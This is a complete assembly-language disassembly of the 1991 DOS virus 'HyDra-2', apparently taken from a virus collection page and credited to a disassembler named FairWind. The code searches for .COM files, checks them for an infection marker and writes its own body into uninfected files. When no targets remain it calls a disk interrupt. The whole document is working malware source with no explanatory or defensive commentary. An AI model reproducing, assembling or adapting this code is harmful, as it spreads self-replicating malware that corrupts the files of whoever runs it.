OneHalf  Virii

HYDRA_2

; --------------------------------------------------------------------------
; Disassembled by FairWind / NRG , [email protected]
; --------------------------------------------------------------------------

DATA_1E EQU 235H
DATA_2E EQU 522H
DATA_3E EQU 80H
DATA_13E EQU 157H
DATA_14E EQU 15AH

SEG_A SEGMENT BYTE PUBLIC
ASSUME CS:SEG_A, DS:SEG_A


ORG 100h

HYDRA2 PROC FAR

START:
JMP LOC_1 ; (0182)
DB 59H, 44H, 00H, 00H
DATA_5 DB 'HyDra-2 Beta - Not For Release'
DB '. *.CO?'
DB 0
DATA_8 DW 0, 84FCH
DATA_10 DW 0
DATA_11 DB 0
DB 29 DUP (0)
DATA_12 DB 0
DB 13 DUP (0)
COPYRIGHT DB 'Copyright (c)'
DB ' 1991 by C.A.V.E. '
LOC_1:
PUSH AX
MOV AX,CS
ADD AX,1000H
XOR DI,DI
MOV CX,157H
MOV SI,OFFSET DS:[100H]
MOV ES,AX
REP MOVSB
MOV AH,1AH
MOV DX,OFFSET DATA_11
INT 21H
MOV AH,4EH
MOV DX,OFFSET DATA_5+22H
INT 21H
JC LOC_5
LOC_2:
MOV AH,3DH
MOV AL,2
MOV DX,OFFSET DATA_12
MOV AL,2
INT 21H
MOV BX,AX
PUSH ES
POP DS
MOV AX,3F00H
MOV CX,0FFFFH
MOV DX,DATA_13E
INT 21H
ADD AX,157H
MOV CS:DATA_10,AX
CMP WORD PTR DS:DATA_14E,4459H
JNE LOC_3
MOV AH,3EH
INT 21H
PUSH CS
POP DS
MOV AH,4FH
INT 21H
JC LOC_6
JMP SHORT LOC_2 ; (01A4)
LOC_3:
XOR CX,CX
MOV DX,CX
MOV AX,4200H
INT 21H
JC LOC_4
MOV AH,40H
XOR DX,DX
MOV CX,CS:DATA_10
INT 21H
LOC_4:
MOV AH,3EH
INT 21H
PUSH CS
POP DS
LOC_5:
MOV AH,1AH
MOV DX,DATA_3E
INT 21H
JMP SHORT LOC_7 ; (0218)
DB 90H
LOC_6:
PUSH DX
XOR AX,AX
XOR AX,AX
MOV DS,AX
MOV BX,DATA_2E
MOV AH,0FFH
MOV [BX],AH
XOR AX,AX
INT 13H
MOV AX,0
INT 21H
LOC_7:
XOR DI,DI
MOV SI,DATA_1E
MOV CX,22H
REP MOVSB
POP BX
MOV CS:DATA_8,0
MOV WORD PTR CS:DATA_8+2,ES
POP BX
JMP DWORD PTR CS:DATA_8
DB 1EH, 07H,0B9H,0FFH,0FFH,0BEH
DB 57H, 02H,0BFH, 00H, 01H, 2BH
DB 0CEH,0F3H,0A4H, 2EH,0C7H, 06H
DB 00H, 01H, 00H, 01H, 2EH, 8CH
DB 1EH, 02H, 01H, 8BH,0C3H, 2EH
DB 0FFH, 2EH, 00H, 01H,0CDH
DB 20H

HYDRA2 ENDP

SEG_A ENDS



END START